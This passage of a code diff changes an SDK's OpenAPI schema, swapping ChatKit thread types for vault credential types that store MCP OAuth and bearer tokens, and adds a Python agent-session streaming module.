+ - 'null'
+ additionalProperties:
+ type: string
+ minLength: 0
+ maxLength: 1048576
+ propertyNames:
+ type: string
+ minLength: 1
+ maxLength: 256
+ minProperties: 0
+ maxProperties: 1024
+ description: Key-value pairs to associate with the vault, such as an application or team identifier.
+ additionalProperties: false
+ description: Parameters for creating a vault to store credentials used by agent tools.
+ DeletedVaultResource:
type: object
+ properties:
+ id:
+ type: string
+ minLength: 0
+ description: The ID of the deleted vault.
+ object:
+ type: string
+ enum:
+ - vault.deleted
+ default: vault.deleted
+ x-stainless-const: true
+ description: The object type. Always `vault.deleted`.
+ deleted:
+ type: boolean
+ description: Whether the resource was deleted. Always `true`.
required:
- id
- object
- - created_at
- - thread_id
- - type
- - content
- - attachments
- - inference_options
- title: User Message Item
- description: User-authored messages within a thread.
- FileAnnotationSource:
+ - deleted
+ additionalProperties: false
+ description: Confirmation that a vault was deleted.
+ McpOauthTokenEndpointAuthResourceNone:
+ type: object
properties:
type:
type: string
enum:
- - file
- description: Type discriminator that is always `file`.
- default: file
+ - none
+ default: none
x-stainless-const: true
- filename:
- type: string
- description: Filename referenced by the annotation.
- type: object
+ description: The type of the object. Always `none`.
required:
- type
- - filename
- title: File annotation source
- description: Attachment source referenced by an annotation.
- FileAnnotation:
+ additionalProperties: false
+ description: Sends the client ID without a client secret.
+ McpOauthTokenEndpointAuthResourceClientSecretBasic:
+ type: object
properties:
type:
type: string
enum:
- - file
- description: Type discriminator that is always `file` for this annotation.
- default: file
+ - client_secret_basic
+ default: client_secret_basic
x-stainless-const: true
- source:
- $ref: '#/components/schemas/FileAnnotationSource'
- description: File attachment referenced by the annotation.
- type: object
+ description: The type of the object. Always `client_secret_basic`.
required:
- type
- - source
- title: File annotation
- description: Annotation that references an uploaded file.
- UrlAnnotationSource:
+ additionalProperties: false
+ description: Sends the client ID and secret using HTTP Basic authentication.
+ McpOauthTokenEndpointAuthResourceClientSecretPost:
+ type: object
properties:
type:
type: string
enum:
- - url
- description: Type discriminator that is always `url`.
- default: url
+ - client_secret_post
+ default: client_secret_post
x-stainless-const: true
- url:
- type: string
- format: uri
- description: URL referenced by the annotation.
- type: object
+ description: The type of the object. Always `client_secret_post`.
required:
- type
- - url
- title: URL annotation source
- description: URL backing an annotation entry.
- UrlAnnotation:
+ additionalProperties: false
+ description: Sends the client ID and secret in the token request body.
+ McpOauthTokenEndpointAuthResource:
+ description: The client authentication method used for OAuth token refresh.
+ discriminator:
+ propertyName: type
+ mapping:
+ none: '#/components/schemas/McpOauthTokenEndpointAuthResourceNone'
+ client_secret_basic: '#/components/schemas/McpOauthTokenEndpointAuthResourceClientSecretBasic'
+ client_secret_post: '#/components/schemas/McpOauthTokenEndpointAuthResourceClientSecretPost'
+ x-oai-discriminator-values:
+ - none
+ - client_secret_basic
+ - client_secret_post
+ anyOf:
+ - $ref: '#/components/schemas/McpOauthTokenEndpointAuthResourceNone'
+ - $ref: '#/components/schemas/McpOauthTokenEndpointAuthResourceClientSecretBasic'
+ - $ref: '#/components/schemas/McpOauthTokenEndpointAuthResourceClientSecretPost'
+ McpOauthRefreshResource:
+ type: object
+ properties:
+ token_endpoint:
+ type: string
+ minLength: 0
+ description: The HTTPS OAuth token endpoint used for refresh.
+ client_id:
+ type: string
+ minLength: 0
+ description: The OAuth client ID used when requesting a new access token.
+ resource:
+ type:
+ - string
+ - 'null'
+ minLength: 0
+ description: The resource URI sent to the OAuth token endpoint during refresh, if configured.
+ scope:
+ type:
+ - string
+ - 'null'
+ minLength: 0
+ description: Space-separated OAuth scopes requested during refresh, if configured.
+ token_endpoint_auth:
+ $ref: '#/components/schemas/McpOauthTokenEndpointAuthResource'
+ description: How the OAuth client authenticates to the token endpoint, excluding its client secret.
+ required:
+ - token_endpoint
+ - client_id
+ - resource
+ - scope
+ - token_endpoint_auth
+ additionalProperties: false
+ description: Configuration used to refresh an MCP OAuth access token, excluding secret values.
+ VaultCredentialAuthResourceMcpOauth:
+ type: object
properties:
type:
type: string
enum:
- - url
- description: Type discriminator that is always `url` for this annotation.
- default: url
+ - mcp_oauth
+ default: mcp_oauth
x-stainless-const: true
- source:
- $ref: '#/components/schemas/UrlAnnotationSource'
- description: URL referenced by the annotation.
- type: object
+ description: The type of the object. Always `mcp_oauth`.
+ mcp_server_url:
+ type: string
+ minLength: 0
+ description: The HTTPS MCP server URL authorized by this credential.
+ expires_at:
+ type:
+ - string
+ - 'null'
+ minLength: 0
+ description: When the OAuth access token expires, as an RFC 3339 timestamp, if known.
+ refresh:
+ anyOf:
+ - $ref: '#/components/schemas/McpOauthRefreshResource'
+ - type: 'null'
+ description: Public refresh metadata without refresh tokens or OAuth client secrets.
required:
- type
- - source
- title: URL annotation
- description: Annotation that references a URL.
- ResponseOutputText:
+ - mcp_server_url
+ - expires_at
+ - refresh
+ additionalProperties: false
+ description: Public metadata for an OAuth credential; tokens and client secrets are never returned.
+ VaultCredentialAuthResourceStaticBearer:
+ type: object
properties:
type:
type: string
enum:
- - output_text
- description: Type discriminator that is always `output_text`.
- default: output_text
+ - static_bearer
+ default: static_bearer
x-stainless-const: true
- text:
+ description: The type of the object. Always `static_bearer`.
+ mcp_server_url:
type: string
- description: Assistant generated text.
- annotations:
- items:
- discriminator:
- propertyName: type
- description: Annotation object describing a cited source.
- anyOf:
- - $ref: '#/components/schemas/FileAnnotation'
- - $ref: '#/components/schemas/UrlAnnotation'
- type: array
- description: Ordered list of annotations attached to the response text.
- type: object
+ minLength: 0
+ description: The HTTPS MCP server URL authorized by this credential.
required:
- type
- - text
- - annotations
- title: Assistant message content
- description: Assistant response text accompanied by optional annotations.
- AssistantMessageItem:
+ - mcp_server_url
+ additionalProperties: false
+ description: Metadata for a bearer-token credential, without automatic OAuth refresh.
+ VaultCredentialAuthResource:
+ description: The MCP server and authentication configuration of a vault credential, excluding secrets.
+ discriminator:
+ propertyName: type
+ mapping:
+ mcp_oauth: '#/components/schemas/VaultCredentialAuthResourceMcpOauth'
+ static_bearer: '#/components/schemas/VaultCredentialAuthResourceStaticBearer'
+ x-oai-discriminator-values:
+ - mcp_oauth
+ - static_bearer
+ anyOf:
+ - $ref: '#/components/schemas/VaultCredentialAuthResourceMcpOauth'
+ - $ref: '#/components/schemas/VaultCredentialAuthResourceStaticBearer'
+ VaultCredentialResource:
+ type: object
properties:
id:
type: string
- description: Identifier of the thread item.
+ minLength: 0
+ description: The ID of the credential.
object:
type: string
enum:
- - chatkit.thread_item
- description: Type discriminator that is always `chatkit.thread_item`.
- default: chatkit.thread_item
+ - vault.credential
+ default: vault.credential
x-stainless-const: true
- created_at:
- type: integer
- format: unixtime
- description: Unix timestamp (in seconds) for when the item was created.
- thread_id:
+ description: The object type. Always `vault.credential`.
+ vault_id:
type: string
- description: Identifier of the parent thread.
- type:
+ minLength: 0
+ description: The ID of the vault containing this credential.
+ name:
type: string
- enum:
- - chatkit.assistant_message
- description: Type discriminator that is always `chatkit.assistant_message`.
- default: chatkit.assistant_message
- x-stainless-const: true
- content:
- items:
- $ref: '#/components/schemas/ResponseOutputText'
- type: array
- description: Ordered assistant response segments.
- type: object
+ minLength: 0
+ description: The human-readable name of the credential.
+ auth:
+ $ref: '#/components/schemas/VaultCredentialAuthResource'
+ description: The authentication method and non-secret configuration for the MCP server.
+ created_at:
+ type: integer
+ format: int64
+ description: The Unix timestamp, in seconds, when the credential was created.
+ updated_at:
+ type: integer
+ format: int64
+ description: The Unix timestamp, in seconds, when the credential was last updated.
required:
- id
- object
+ - vault_id
+ - name
+ - auth
- created_at
- - thread_id
- - type
- - content
- title: Assistant message
- description: Assistant-authored message within a thread.
- WidgetMessageItem:
+ - updated_at
+ additionalProperties: false
+ description: Metadata for a stored MCP server credential. Secret values are never returned.
+ VaultCredentialListResource:
+ type: object
properties:
- id:
- type: string
- description: Identifier of the thread item.
object:
type: string
enum:
- - chatkit.thread_item
- description: Type discriminator that is always `chatkit.thread_item`.
- default: chatkit.thread_item
+ - list
+ default: list
x-stainless-const: true
- created_at:
- type: integer
- format: unixtime
- description: Unix timestamp (in seconds) for when the item was created.
- thread_id:
- type: string
- description: Identifier of the parent thread.
+ description: The object type, which is always `list`.
+ data:
+ type: array
+ items:
+ $ref: '#/components/schemas/VaultCredentialResource'
+ minItems: 0
+ maxItems: 2000
+ description: The resources returned in this page, in the requested sort order.
+ first_id:
+ type:
+ - string
+ - 'null'
+ minLength: 0
+ description: The ID of the first resource in `data`, or `null` if the page is empty.
+ last_id:
+ type:
+ - string
+ - 'null'
+ minLength: 0
+ description: The ID of the last resource in `data`, or `null` if the page is empty. Pass this as `after` with the same order and filters.
+ has_more:
+ type: boolean
+ description: Whether there are more resources to retrieve after this page.
+ required:
+ - object
+ - data
+ - first_id
+ - last_id
+ - has_more
+ additionalProperties: false
+ description: A page of Agents API resources, with IDs for retrieving additional pages.
+ CreateMcpOauthTokenEndpointAuthParamNone:
+ type: object
+ properties:
type:
type: string
enum:
- - chatkit.widget
- description: Type discriminator that is always `chatkit.widget`.
- default: chatkit.widget
+ - none
+ default: none
x-stainless-const: true
- widget:
- type: string
- description: Serialized widget payload rendered in the UI.
- type: object
+ description: The type of the object. Always `none`.
required:
- - id
- - object
- - created_at
- - thread_id
- type
- - widget
- title: Widget message
- description: Thread item that renders a widget payload.
- ClientToolCallStatus:
- type: string
- enum:
- - in_progress
- - completed
- ClientToolCallItem:
+ additionalProperties: false
+ description: Sends the client ID without a client secret.
+ CreateMcpOauthTokenEndpointAuthParamClientSecretBasic:
+ type: object
properties:
- id:
- type: string
- description: Identifier of the thread item.
- object:
+ type:
type: string
enum:
- - chatkit.thread_item
- description: Type discriminator that is always `chatkit.thread_item`.
- default: chatkit.thread_item
+ - client_secret_basic
+ default: client_secret_basic
x-stainless-const: true
- created_at:
- type: integer
- format: unixtime
- description: Unix timestamp (in seconds) for when the item was created.
- thread_id:
+ description: The type of the object. Always `client_secret_basic`.
+ client_secret:
type: string
- description: Identifier of the parent thread.
+ minLength: 0
+ maxLength: 1048576
+ description: The OAuth client secret to store. Never returned in credential resources.
+ required:
+ - type
+ - client_secret
+ additionalProperties: false
+ description: Sends the client ID and secret using HTTP Basic authentication.
+ CreateMcpOauthTokenEndpointAuthParamClientSecretPost:
+ type: object
+ properties:
type:
type: string
enum:
- - chatkit.client_tool_call
- description: Type discriminator that is always `chatkit.client_tool_call`.
- default: chatkit.client_tool_call
+ - client_secret_post
+ default: client_secret_post
x-stainless-const: true
- status:
- $ref: '#/components/schemas/ClientToolCallStatus'
- description: Execution status for the tool call.
- call_id:
- type: string
- description: Identifier for the client tool call.
- name:
- type: string
- description: Tool name that was invoked.
- arguments:
+ description: The type of the object. Always `client_secret_post`.
+ client_secret:
type: string
- description: JSON-encoded arguments that were sent to the tool.
- output:
- anyOf:
- - type: string
- description: JSON-encoded output captured from the tool. Defaults to null while execution is in progress.
- - type: 'null'
- type: object
+ minLength: 0
+ maxLength: 1048576
+ description: The OAuth client secret to store. Never returned in credential resources.
required:
- - id
- - object
- - created_at
- - thread_id
- type
- - status
- - call_id
- - name
- - arguments
- - output
- title: Client tool call
- description: Record of a client side tool invocation initiated by the assistant.
- TaskType:
- type: string
- enum:
- - custom
- - thought
- TaskItem:
+ - client_secret
+ additionalProperties: false
+ description: Sends the client ID and secret in the token request body.
+ CreateMcpOauthTokenEndpointAuthParam:
+ description: Client authentication credentials for OAuth token refresh.
+ discriminator:
+ propertyName: type
+ mapping:
+ none: '#/components/schemas/CreateMcpOauthTokenEndpointAuthParamNone'
+ client_secret_basic: '#/components/schemas/CreateMcpOauthTokenEndpointAuthParamClientSecretBasic'
+ client_secret_post: '#/components/schemas/CreateMcpOauthTokenEndpointAuthParamClientSecretPost'
+ x-oai-discriminator-values:
+ - none
+ - client_secret_basic
+ - client_secret_post
+ anyOf:
+ - $ref: '#/components/schemas/CreateMcpOauthTokenEndpointAuthParamNone'
+ - $ref: '#/components/schemas/CreateMcpOauthTokenEndpointAuthParamClientSecretBasic'
+ - $ref: '#/components/schemas/CreateMcpOauthTokenEndpointAuthParamClientSecretPost'
+ CreateMcpOauthRefreshParam:
+ type: object
properties:
- id:
+ token_endpoint:
type: string
- description: Identifier of the thread item.
- object:
- type: string
- enum:
- - chatkit.thread_item
- description: Type discriminator that is always `chatkit.thread_item`.
- default: chatkit.thread_item
- x-stainless-const: true
- created_at:
- type: integer
- format: unixtime
- description: Unix timestamp (in seconds) for when the item was created.
- thread_id:
+ minLength: 0
+ maxLength: 1048576
+ description: The HTTPS OAuth token endpoint used to exchange the refresh token for a new access token.
+ client_id:
type: string
- description: Identifier of the parent thread.
+ minLength: 0
+ maxLength: 1048576
+ description: The OAuth client ID used when requesting a new access token.
+ resource:
+ type:
+ - string
+ - 'null'
+ minLength: 0
+ maxLength: 1048576
+ description: The resource URI to send to the OAuth token endpoint during refresh, if required.
+ scope:
+ type:
+ - string
+ - 'null'
+ minLength: 0
+ maxLength: 1048576
+ description: Space-separated OAuth scopes to request during refresh, if required.
+ refresh_token:
+ type: string
+ minLength: 0
+ maxLength: 1048576
+ description: The refresh token to store. This secret is never returned in credential resources.
+ token_endpoint_auth:
+ $ref: '#/components/schemas/CreateMcpOauthTokenEndpointAuthParam'
+ description: How the OAuth client authenticates to the token endpoint.
+ required:
+ - token_endpoint
+ - client_id
+ - refresh_token
+ - token_endpoint_auth
+ additionalProperties: false
+ description: Configuration for refreshing the access token of an MCP OAuth credential.
+ CreateVaultCredentialAuthParamMcpOauth:
+ type: object
+ properties:
type:
type: string
enum:
- - chatkit.task
- description: Type discriminator that is always `chatkit.task`.
- default: chatkit.task
+ - mcp_oauth
+ default: mcp_oauth
x-stainless-const: true
- task_type:
- $ref: '#/components/schemas/TaskType'
- description: Subtype for the task.
- heading:
- anyOf:
- - type: string
- description: Optional heading for the task. Defaults to null when not provided.
- - type: 'null'
- summary:
+ description: The type of the object. Always `mcp_oauth`.
+ mcp_server_url:
+ type: string
+ minLength: 0
+ maxLength: 1048576
+ description: The HTTPS MCP server URL authorized by this credential.
+ access_token:
+ type: string
+ minLength: 0
+ maxLength: 1048576
+ description: A write-only OAuth access token; never returned by credential resources.
+ expires_at:
+ type:
+ - string
+ - 'null'
+ minLength: 0
+ maxLength: 1048576
+ description: When the OAuth access token expires, as an RFC 3339 timestamp, if known.
+ refresh:
anyOf:
- - type: string
- description: Optional summary that describes the task. Defaults to null when omitted.
+ - $ref: '#/components/schemas/CreateMcpOauthRefreshParam'
- type: 'null'
- type: object
+ description: Optional refresh configuration for an HTTPS OAuth token endpoint.
required:
- - id
- - object
- - created_at
- - thread_id
- type
- - task_type
- - heading
- - summary
- title: Task item
- description: Task emitted by the workflow to show progress and status updates.
- TaskGroupTask:
- properties:
- type:
- $ref: '#/components/schemas/TaskType'
- description: Subtype for the grouped task.
- heading:
- anyOf:
- - type: string
- description: Optional heading for the grouped task. Defaults to null when not provided.
- - type: 'null'
- summary:
- anyOf:
- - type: string
- description: Optional summary that describes the grouped task. Defaults to null when omitted.
- - type: 'null'
+ - mcp_server_url
+ - access_token
+ additionalProperties: false
+ description: An OAuth credential for an HTTPS MCP destination.
+ CreateVaultCredentialAuthParamStaticBearer:
type: object
- required:
- - type
- - heading
- - summary
- title: Task group task
- description: Task entry that appears within a TaskGroup.
- TaskGroupItem:
properties:
- id:
- type: string
- description: Identifier of the thread item.
- object:
+ type:
type: string
enum:
- - chatkit.thread_item
- description: Type discriminator that is always `chatkit.thread_item`.
- default: chatkit.thread_item
+ - static_bearer
+ default: static_bearer
x-stainless-const: true
- created_at:
- type: integer
- format: unixtime
- description: Unix timestamp (in seconds) for when the item was created.
- thread_id:
+ description: The type of the object. Always `static_bearer`.
+ mcp_server_url:
type: string
- description: Identifier of the parent thread.
- type:
+ minLength: 0
+ maxLength: 1048576
+ description: The HTTPS MCP server URL authorized by this credential.
+ token:
type: string
- enum:
- - chatkit.task_group
- description: Type discriminator that is always `chatkit.task_group`.
- default: chatkit.task_group
- x-stainless-const: true
- tasks:
- items:
- $ref: '#/components/schemas/TaskGroupTask'
- type: array
- description: Tasks included in the group.
- type: object
+ minLength: 0
+ maxLength: 1048576
+ description: The bearer token to store. This secret is never returned in credential resources.
required:
- - id
- - object
- - created_at
- - thread_id
- type
- - tasks
- title: Task group
- description: Collection of workflow tasks grouped together in the thread.
- ThreadItem:
+ - mcp_server_url
+ - token
+ additionalProperties: false
+ description: A bearer token for an MCP server, without automatic OAuth refresh.
+ CreateVaultCredentialAuthParam:
+ description: Authentication credentials for an MCP server used by agent tools.
discriminator:
propertyName: type
- title: The thread item
+ mapping:
+ mcp_oauth: '#/components/schemas/CreateVaultCredentialAuthParamMcpOauth'
+ static_bearer: '#/components/schemas/CreateVaultCredentialAuthParamStaticBearer'
+ x-oai-discriminator-values:
+ - mcp_oauth
+ - static_bearer
anyOf:
- - $ref: '#/components/schemas/UserMessageItem'
- - $ref: '#/components/schemas/AssistantMessageItem'
- - $ref: '#/components/schemas/WidgetMessageItem'
- - $ref: '#/components/schemas/ClientToolCallItem'
- - $ref: '#/components/schemas/TaskItem'
- - $ref: '#/components/schemas/TaskGroupItem'
- ThreadItemListResource:
- properties:
- object:
- x-stainless-const: true
- default: list
- description: The type of object returned, must be `list`.
- const: list
- data:
- items:
- $ref: '#/components/schemas/ThreadItem'
- type: array
- description: A list of items
- first_id:
- anyOf:
- - type: string
- description: The ID of the first item in the list.
- - type: 'null'
- last_id:
- anyOf:
- - type: string
- description: The ID of the last item in the list.
- - type: 'null'
- has_more:
- type: boolean
- description: Whether there are more items available.
+ - $ref: '#/components/schemas/CreateVaultCredentialAuthParamMcpOauth'
+ - $ref: '#/components/schemas/CreateVaultCredentialAuthParamStaticBearer'
+ CreateVaultCredentialParams:
type: object
+ properties:
+ name:
+ type: string
+ minLength: 1
+ maxLength: 1048576
+ description: The name is trimmed before storage. It must contain 1 to 256 UTF-8 bytes after trimming.
+ auth:
+ $ref: '#/components/schemas/CreateVaultCredentialAuthParam'
+ description: The authentication method and secret values to store for the MCP server.
required:
- - object
- - data
- - first_id
- - last_id
- - has_more
- title: Thread Items
- description: A paginated list of thread items rendered for the ChatKit API.
- ActiveStatus:
+ - auth
+ - name
+ additionalProperties: false
+ description: Parameters for storing a credential that authorizes access to an MCP server.
+ RotateMcpOauthTokenEndpointAuthParamClientSecretBasic:
+ type: object
properties:
type:
type: string
enum:
- - active
- description: Status discriminator that is always `active`.
- default: active
+ - client_secret_basic
+ default: client_secret_basic
x-stainless-const: true
- type: object
+ description: The type of the object. Always `client_secret_basic`.
+ client_secret:
+ type:
+ - string
+ - 'null'
+ minLength: 0
+ maxLength: 1048576
+ description: The replacement OAuth client secret. Omit or pass `null` to keep the stored secret. This secret is never returned in resources.
required:
- type
- title: Active thread status
- description: Indicates that a thread is active.
- LockedStatus:
+ additionalProperties: false
+ description: Updates credentials sent using HTTP Basic authentication.
+ RotateMcpOauthTokenEndpointAuthParamClientSecretPost:
+ type: object
properties:
type:
type: string
enum:
- - locked
- description: Status discriminator that is always `locked`.
- default: locked
+ - client_secret_post
+ default: client_secret_post
x-stainless-const: true
- reason:
+ description: The type of the object. Always `client_secret_post`.
+ client_secret:
+ type:
+ - string
+ - 'null'
+ minLength: 0
+ maxLength: 1048576
+ description: The replacement OAuth client secret. Omit or pass `null` to keep the stored secret. This secret is never returned in resources.
+ required:
+ - type
+ additionalProperties: false
+ description: Updates credentials sent in the token request body.
+ RotateMcpOauthTokenEndpointAuthParam:
+ description: Client-secret updates that preserve the credential's OAuth authentication method.
+ discriminator:
+ propertyName: type
+ mapping:
+ client_secret_basic: '#/components/schemas/RotateMcpOauthTokenEndpointAuthParamClientSecretBasic'
+ client_secret_post: '#/components/schemas/RotateMcpOauthTokenEndpointAuthParamClientSecretPost'
+ x-oai-discriminator-values:
+ - client_secret_basic
+ - client_secret_post
+ anyOf:
+ - $ref: '#/components/schemas/RotateMcpOauthTokenEndpointAuthParamClientSecretBasic'
+ - $ref: '#/components/schemas/RotateMcpOauthTokenEndpointAuthParamClientSecretPost'
+ RotateMcpOauthRefreshParam:
+ type: object
+ properties:
+ refresh_token:
+ type:
+ - string
+ - 'null'
+ minLength: 0
+ maxLength: 1048576
+ description: The replacement refresh token. Omit or pass `null` to keep the stored token. This secret is never returned in resources.
+ scope:
+ type:
+ - string
+ - 'null'
+ minLength: 0
+ maxLength: 1048576
+ description: Replacement space-separated OAuth scopes for refresh requests. Omit to keep the scopes, or pass `null` to stop sending a scope parameter.
+ token_endpoint_auth:
anyOf:
- - type: string
- description: Reason that the thread was locked. Defaults to null when no reason is recorded.
+ - $ref: '#/components/schemas/RotateMcpOauthTokenEndpointAuthParam'
- type: 'null'
+ description: Client-secret updates for the existing token endpoint authentication method.
+ additionalProperties: false
+ description: Updates to an MCP credential's existing OAuth refresh configuration.
+ RotateVaultCredentialAuthParamMcpOauth:
type: object
- required:
- - type
- - reason
- title: Locked thread status
- description: Indicates that a thread is locked and cannot accept new input.
- ClosedStatus:
properties:
type:
type: string
enum:
- - closed
- description: Status discriminator that is always `closed`.
- default: closed
+ - mcp_oauth
+ default: mcp_oauth
x-stainless-const: true
- reason:
+ description: The type of the object. Always `mcp_oauth`.
+ access_token:
+ type:
+ - string
+ - 'null'
+ minLength: 0
+ maxLength: 1048576
+ description: A write-only replacement OAuth access token.
+ expires_at:
+ type:
+ - string
+ - 'null'
+ minLength: 0
+ maxLength: 1048576
+ description: The replacement expiry as an RFC 3339 timestamp, or `null` to clear it. Omitting this field preserves the expiry unless a new access token is supplied, in which case the expiry is cleared.
+ refresh:
anyOf:
- - type: string
- description: Reason that the thread was closed. Defaults to null when no reason is recorded.
+ - $ref: '#/components/schemas/RotateMcpOauthRefreshParam'
- type: 'null'
- type: object
+ description: Optional write-only refresh-token and client-secret updates.
required:
- type
- - reason
- title: Closed thread status
- description: Indicates that a thread has been closed.
- ThreadResource:
+ additionalProperties: false
+ description: Rotate an OAuth credential for an HTTPS MCP destination.
+ RotateVaultCredentialAuthParamStaticBearer:
+ type: object
properties:
- id:
- type: string
- description: Identifier of the thread.
- object:
+ type:
type: string
enum:
- - chatkit.thread
- description: Type discriminator that is always `chatkit.thread`.
- default: chatkit.thread
+ - static_bearer
+ default: static_bearer
x-stainless-const: true
- created_at:
- type: integer
- format: unixtime
- description: Unix timestamp (in seconds) for when the thread was created.
- title:
- anyOf:
- - type: string
- description: Optional human-readable title for the thread. Defaults to null when no title has been generated.
- - type: 'null'
- status:
- discriminator:
- propertyName: type
- description: Current status for the thread. Defaults to `active` for newly created threads.
- anyOf:
- - $ref: '#/components/schemas/ActiveStatus'
- - $ref: '#/components/schemas/LockedStatus'
- - $ref: '#/components/schemas/ClosedStatus'
- user:
+ description: The type of the object. Always `static_bearer`.
+ token:
type: string
- description: Free-form string that identifies your end user who owns the thread.
+ minLength: 0
+ maxLength: 1048576
+ description: The replacement bearer token. This secret is never returned in credential resources.
+ required:
+ - type
+ - token
+ additionalProperties: false
+ description: Replace the bearer token for the credential's MCP server.
+ RotateVaultCredentialAuthParam:
+ description: Updates to a vault credential without changing its authentication method or MCP server.
+ discriminator:
+ propertyName: type
+ mapping:
+ mcp_oauth: '#/components/schemas/RotateVaultCredentialAuthParamMcpOauth'
+ static_bearer: '#/components/schemas/RotateVaultCredentialAuthParamStaticBearer'
+ x-oai-discriminator-values:
+ - mcp_oauth
+ - static_bearer
+ anyOf:
+ - $ref: '#/components/schemas/RotateVaultCredentialAuthParamMcpOauth'
+ - $ref: '#/components/schemas/RotateVaultCredentialAuthParamStaticBearer'
+ RotateVaultCredentialParams:
type: object
+ properties:
+ auth:
+ $ref: '#/components/schemas/RotateVaultCredentialAuthParam'
+ description: Replacement values for the credential's existing authentication method.
required:
- - id
- - object
- - created_at
- - title
- - status
- - user
- title: The thread object
- description: Represents a ChatKit thread and its current status.
- example:
- id: cthr_def456
- object: chatkit.thread
- created_at: 1712345600
- title: Demo feedback
- status:
- type: active
- user: user_456
- DeletedThreadResource:
+ - auth
+ additionalProperties: false
+ description: Secret, expiry, and OAuth refresh scope updates for an existing vault credential.
+ DeletedVaultCredentialResource:
+ type: object
properties:
id:
type: string
- description: Identifier of the deleted thread.
+ minLength: 0
+ description: The ID of the deleted credential.
object:
type: string
enum:
- - chatkit.thread.deleted
- description: Type discriminator that is always `chatkit.thread.deleted`.
- default: chatkit.thread.deleted
+ - vault.credential.deleted
+ default: vault.credential.deleted
x-stainless-const: true
+ description: The object type. Always `vault.credential.deleted`.
deleted:
type: boolean
- description: Indicates that the thread has been deleted.
- type: object
+ description: Whether the resource was deleted. Always `true`.
required:
- id
- object
- deleted
- title: Deleted thread
- description: Confirmation payload returned after deleting a thread.
- ThreadListResource:
- properties:
- object:
- x-stainless-const: true
- default: list
- description: The type of object returned, must be `list`.
- const: list
- data:
- items:
- $ref: '#/components/schemas/ThreadResource'
- type: array
- description: A list of items
- first_id:
- anyOf:
- - type: string
- description: The ID of the first item in the list.
- - type: 'null'
- last_id:
- anyOf:
- - type: string
- description: The ID of the last item in the list.
- - type: 'null'
- has_more:
- type: boolean
- description: Whether there are more items available.
- type: object
- required:
- - object
- - data
- - first_id
- - last_id
- - has_more
- title: Threads
- description: A paginated list of ChatKit threads.
+ additionalProperties: false
+ description: Confirmation that a vault credential was deleted.
DragPoint:
properties:
x:
diff --git a/scripts/castiron/test_custom_code_report.py b/scripts/castiron/test_custom_code_report.py
index e9b47ade40..ace097bb63 100644
--- a/scripts/castiron/test_custom_code_report.py
+++ b/scripts/castiron/test_custom_code_report.py
@@ -11,9 +11,9 @@
import tempfile
import textwrap
import unittest
+import unittest.mock as mock
from pathlib import Path
from typing import Any
-from unittest import mock
import custom_code_report as report
diff --git a/src/openai/lib/streaming/agents/__init__.py b/src/openai/lib/streaming/agents/__init__.py
new file mode 100644
index 0000000000..c7f4a27ab6
--- /dev/null
+++ b/src/openai/lib/streaming/agents/__init__.py
@@ -0,0 +1,2 @@
+from ._types import ToolOutput as ToolOutput, ToolHandler as ToolHandler, AsyncToolHandler as AsyncToolHandler
+from ._streams import AgentSessionStream as AgentSessionStream, AsyncAgentSessionStream as AsyncAgentSessionStream
diff --git a/src/openai/lib/streaming/agents/_streams.py b/src/openai/lib/streaming/agents/_streams.py
new file mode 100644
index 0000000000..9edb22a9da
--- /dev/null
+++ b/src/openai/lib/streaming/agents/_streams.py
@@ -0,0 +1,362 @@
+from __future__ import annotations
+
+import inspect
+from copy import deepcopy
+from uuid import uuid4
+from types import TracebackType
+from typing import TYPE_CHECKING, Mapping, Iterable, Iterator, AsyncIterator
+from collections import deque
+from typing_extensions import Self, TypedDict
+
+import httpx2
+
+from ._tools import arguments, failed_event, result_event, is_pending_call_race
+from ._types import ToolHandler, AsyncToolHandler
+from ...._types import Omit, Headers, NotGiven, omit, not_given
+from ...._streaming import Stream, AsyncStream
+from ...._exceptions import BadRequestError
+from ....types.beta.agent_session_event import AgentSessionEvent
+from ....types.beta.agent_function_call_item import AgentFunctionCallItem
+from ....types.beta.agent_session_input_param import (
+ SessionInputParamAgentSessionInputMessage,
+ SessionInputParamAgentSessionInputToolResult,
+)
+from ....types.beta.agent_session_input_message_param import AgentSessionInputMessageParam
+
+if TYPE_CHECKING:
+ from ....resources.beta.agents.sessions.sessions import Sessions, AsyncSessions
+
+
+class _RequestOptions(TypedDict):
+ extra_headers: Headers | None
+ timeout: float | httpx2.Timeout | None | NotGiven
+
+
+def _request_options(options: _RequestOptions) -> _RequestOptions:
+ headers = options["extra_headers"]
+ return {
+ **options,
+ "extra_headers": {key: value for key, value in headers.items() if key.lower() != "idempotency-key"}
+ if headers is not None
+ else None,
+ }
+
+
+def _input_key(idempotency_key: str | Omit, headers: Headers | None) -> str | Omit:
+ # As with other SDK methods, extra_headers overrides the named parameter.
+ # Consume it here so differing header capitalization cannot append a second key.
+ for key, value in (headers or {}).items():
+ if key.lower() == "idempotency-key":
+ return value
+ return str(uuid4()) if isinstance(idempotency_key, Omit) else idempotency_key
+
+
+def _input_event(input: str | Iterable[AgentSessionInputMessageParam]) -> SessionInputParamAgentSessionInputMessage:
+ messages: list[AgentSessionInputMessageParam]
+ if isinstance(input, str):
+ if not input:
+ raise ValueError("input must not be empty")
+ messages = [{"role": "user", "content": [{"type": "input_text", "text": input}]}]
+ else:
+ messages = list(input)
+ if not messages:
+ raise ValueError("input must not be empty")
+ return {"type": "agent.session.input.message", "input": messages}
+
+
+_RECENT_EVENT_LIMIT = 1024
+
+
+class _TurnState:
+ def __init__(self) -> None:
+ self.turn_id: str | None = None
+ self.turn_ended = False
+ self.event_ids: set[str] = set()
+ self.recent_events: deque[str] = deque()
+ self.handled_calls: set[tuple[str, str]] = set()
+
+ def accept(self, event: AgentSessionEvent) -> bool:
+ if event.event_id in self.event_ids:
+ return False
+ # Suppress recent duplicate deliveries without retaining every text delta.
+ # Tool calls are tracked separately for the full invocation.
+ if len(self.recent_events) == _RECENT_EVENT_LIMIT:
+ self.event_ids.remove(self.recent_events.popleft())
+ self.recent_events.append(event.event_id)
+ self.event_ids.add(event.event_id)
+ if event.type == "agent.session.turn.created" and event.turn.subagent_id is None and self.turn_id is None:
+ self.turn_id = event.turn_id
+ if (
+ event.type == "agent.session.turn.completed"
+ or event.type == "agent.session.turn.failed"
+ or event.type == "agent.session.turn.cancelled"
+ ):
+ if self.turn_id is not None and event.turn_id == self.turn_id:
+ self.turn_ended = True
+ return True
+
+ def terminal(self, event: AgentSessionEvent) -> bool:
+ return event.type == "agent.session.failed" or (event.type == "agent.session.idle" and self.turn_ended)
+
+ def call(self, event: AgentSessionEvent) -> AgentFunctionCallItem | None:
+ if event.type != "agent.session.turn.item.added" or event.item.type != "function_call":
+ return None
+ call = event.item
+ key = (call.turn_id, call.call_id)
